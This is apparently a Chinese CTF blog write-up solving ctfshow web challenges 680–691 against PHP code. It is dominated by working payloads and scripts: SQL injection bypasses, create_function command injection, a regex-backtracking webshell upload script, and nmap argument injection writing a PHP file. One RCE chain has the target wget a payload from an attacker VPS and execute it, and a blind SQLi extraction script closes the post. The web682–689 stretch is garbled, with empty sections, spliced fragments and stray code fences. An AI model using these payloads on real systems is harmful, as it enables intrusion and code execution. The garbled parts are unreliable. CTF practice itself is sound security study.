ctfshow大赛原题

前言

题目来源于ctfshow-web入门-大赛原题,写这一篇blog的初衷是练练手,有空就做做,保持手感。

web680

半脑洞题,一开始题目提示post code to run!,传参?code=ls;、code=system('ls');均没反应,考虑可能是代码执行,传?code=echo 123;,有回显123,说明是代码执行。

?code=phpinfo();可以看到很多函数被禁用了,open_basedir也做了限制,当然这里可以尝试绕过。不过这个题目不需要去绕。直接读当前目录下面的文件:?code=var_dump(scandir("./"));或者?code=print_r(scandir("./"));发现当前目录底下有一个secret_you_never_know,直接访问即可。

web681

打开题目,全是帽子。给了一个login.php。怀疑可能是sql注入,试了下万能密码'or'1'='1以及1'or 1#发现都是返回绿帽子….没办法,那dirsearch扫了一下,发现存在.svn,访问一下拿到了源码www.zip

先看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

include "flag.php";
session_start();
if(isset($_SESSION['hat'])){
if($_SESSION['hat']=='green'){
output("<img src='images/green.jpg'>",8);
}else{
output("<img src='images/black.jpg'>",1);
echo $flag;
}

echo "<br><br><br><br><br><a href='logout.php'>I give up!</a>";
}else{
output("<img src='images/white.jpg'>",6);
echo "<br><br><br><br><br><a href='login.php'>I want to check the color of my hat!</a>";
}

function output($content,$count){
for($i=0;$i<$count;$i++){
echo $content;
}
}

然后就是check.php这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

error_reporting(0);
include "common.php";

session_start();

if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";
echo $sql;
$db = new db();
$result = $db->select_one_array($sql);
if ($result[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}
}

两个结合起来看,只要满足$result[0]返回为真就行了,但是这里的common.php源码没给到我们,所以这里的waf不清楚。一开始我以为需要爆破颜色的英文单词,就全部爆破了一下发现不行,所以最后还是得通过sql注入,用\来尝试转义 ‘ ,然后配合万能密码,这里因为有trim,直接 or 1 # \ 不太行,换成||1#\

最终payload:name=||1#\,带入到语句里面就是 select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'

web682

web683

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);

主要是sleep((int)$_GET['秀']);

本地搭建一个demo试下:

1
2
3
4
5
<?php
$a="0x123";
print((int)($a));
?>
//输出为0,int对0x或者0开头的字符串输出为0

web684

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

create_function的特性,可以用\来绕过正则,这个小点24年湖北省楚慧杯也考到了。

payload: ?action=\create_function&arg=}system("cat /secret*");//

web685

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
} 1

代码逻辑很简单,不让出现<?,一开始尝试了一下其他的标签来绕过,比如<script language="php"></script><% %>来绕过,发现均无效。这个题目需要绕过正则,利用回溯次数来绕过:

1
2
3
4
5
6
7
8
9
10
11
file_content = "<?php eval($_POST[cmd]);?>"+"b"*1000000
# 然后使用 requests 上传
import requests
url = "http://058ad298-dd2b-4247-9919-868c8592b120.challenge.ctf.show/"
files = {'file': ('filename.txt', file_content)} # 直接使用字符串内容
response = requests.post(url, files=files)
for i in range(1,11):
url2="http://058ad298-dd2b-4247-9919-868c8592b120.challenge.ctf.show/data/{}.php".format(i)
print(url2)
response2 = requests.get(url2)
print(response2.text)

web686

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
?> -oG test.php '\''`

然后在经过escapeshellcmd处理之后为:

`''\\'' \<\?php echo phpinfo\(\)\;\?\> -oG test.php '\\'''`

最终拼接的命令:

`nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php echo phpinfo\(\)\;\?\> -oG test.php '\\'''`

看看DP的解释:

Shell 的解析过程:
‘’\‘’解释如下:
‘’ → 空字符串
\ → 转义成单个 \(因为 escapeshellcmd 添加了转义)
‘’ → 再次空字符串
最终解析为 \(一个反斜杠字符)

<、? 等:

这些字符被 escapeshellcmd() 转义,但仍然作为普通字符传递给 nmap。

-oG test.php:

由于前面的引号解析失败,-oG 被当作 nmap 的参数,而不是字符串的一部分。

‘\‘’’:

‘\‘ → 被解析为字面量 \(反斜杠)

‘’ → 空字符串

最终解析为 \(一个反斜杠字符)

  1. 为什么 test.php 后面的 ‘\‘’’ 不会导致报错?
    Shell 的引号解析规则:

单引号内的内容(’…’)会被当作字面量,不会进行变量扩展或命令替换。

‘\‘ 被解析为 \(一个反斜杠)。

最后的 ‘’ 是空字符串,不影响命令执行。

nmap 如何接收参数?

nmap 会接收 -F \ -oG test.php \ 作为参数。

-oG test.php 是合法的 nmap 参数,用于写入输出到文件。

后面的 \ 会被 nmap 忽略,因为它不是有效参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

本质是逃逸引号。

再来看看这道题:

```php
<?php
?>` 这个页面得到回显的内容里面就包含了shellcode 。那么我们如何将内容写到php文件里面呢?

通过构造`xxxxxx?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?=eval($_POST[1]);?>&path=a.php`

为什么要把`&`编码成 %26,因为避免被当成参数切割,正向的看这个payload :

file_get_contents($url) -> file_get_contents(http://127.0.0.1/?file=http://127.0.0.1/%26path=shellcode)

file_get_contens会对url编码进行解码,相当于是访问了`http://127.0.0.1/?file=http://127.0.0.1/&path=shellcode`,得到页面的响应结果就是 shellcode update successed!,然后通过file_put_contents函数,把 shellcode 写入到了 a.php 。

## web690

```php
<?php
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}

exec('./ ' . implode(" ", $args));

传入的args要是数组,并且只能是数字,下划线和字母,但是经过测试%0a是可以绕过的。而在linux命令里,%0a等效于分号;

所以主要是想办法RCE:

看了大佬的思路:我们的服务器起一个web服务,然后利用wget去获取包含shell文件,然后在对这个文件进行压缩打包处理,然后再利用php命令去执行shell文件。整体流程:

1
2
3
4
5
6
7
8
9
10
11
12
vps:  python3  -m  http.server 80  // 启动一个web服务,这个你在哪个目录下用这个命令,当前目录就会被当成web服务供外界访问
然后再在当前目录下面新建一个index.html,内容是:
<?php
file_put_contents("shell.php",'<?=eval($_POST[1]);?>');
?>
1.传入 ?args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=vps的ip
通过第一步,此时a目录下有了index.html,同时这里的vps的ip得是十进制,因为要绕过`.`
2.传入 ?args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
通过第二步,把a目录以及index.html打包成了shell文件
3.传入 ?args[]=1%0a&args[]=php&args[]=shell
通过第三步,执行shell文件内容,只要是文件里面包含php代码的,都可以被php来执行。用010打开shell文件来看里面是包含了index.html文件的代码的。
经过上述三步之后,就生成了我们的shell.php文件。访问就可以利用了。

web691

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

告诉了你flag在password字段里面。但是echo出来的是username的值。所以一开始想的是有没有可能通过堆叠注入,类似于强网杯随便注那道题,换一下列名。但这里查询语句没有堆叠注入的点,而且;也被过滤了。

这里使用 order by 来通过字母排序来注入:

构造payload:

username='or 1 union select 1,2,'a' order by 3#&password=123

id username password
1 1 a
2 admin ctfshow{xxxx}

因为a排在c前面,所以echo $row[‘username’]得到的值是1;

username='or 1 union select 1,2,'c' order by 3#&password=123

这里为c的时候,也会排在前面,echo $row[‘username’]得到的值也为1;

而当`username=’or 1 union select 1,2,’d’ order by 3#&password=123

这里为d的时候,这个时候 echo $row[‘username’]得到的值为admin。

所以我们打印出来的就是d的前面那一位,也就是c -> chr(ord(k)-1)

所以就可以写脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import  requests
url="http://fa0be11a-59f5-4fb1-9c76-6726441d69ce.challenge.ctf.show/"
strings=".0123456789:abcdefghijklmnopqrstuvwxyz{}~"
flag='ctfshow{'
for i in range(1,50):
for k in strings:
payload="'or 1 union select 1,2,'{}' order by 3 #".format(flag+k)
data={"username":payload,"password":123}
#print(data)
res=requests.post(url,data=data)
if "</code>admin" in res.text:
print(chr(ord(k)-1))
flag+=chr(ord(k)-1)
print(flag)
break

注意这里的条件是</code>admin而不是单纯的admin,因为源代码里面本身就有admin 。 要区分出打印出来的admin 。

另外我们的字典肯定也得是按照ascii顺序来的。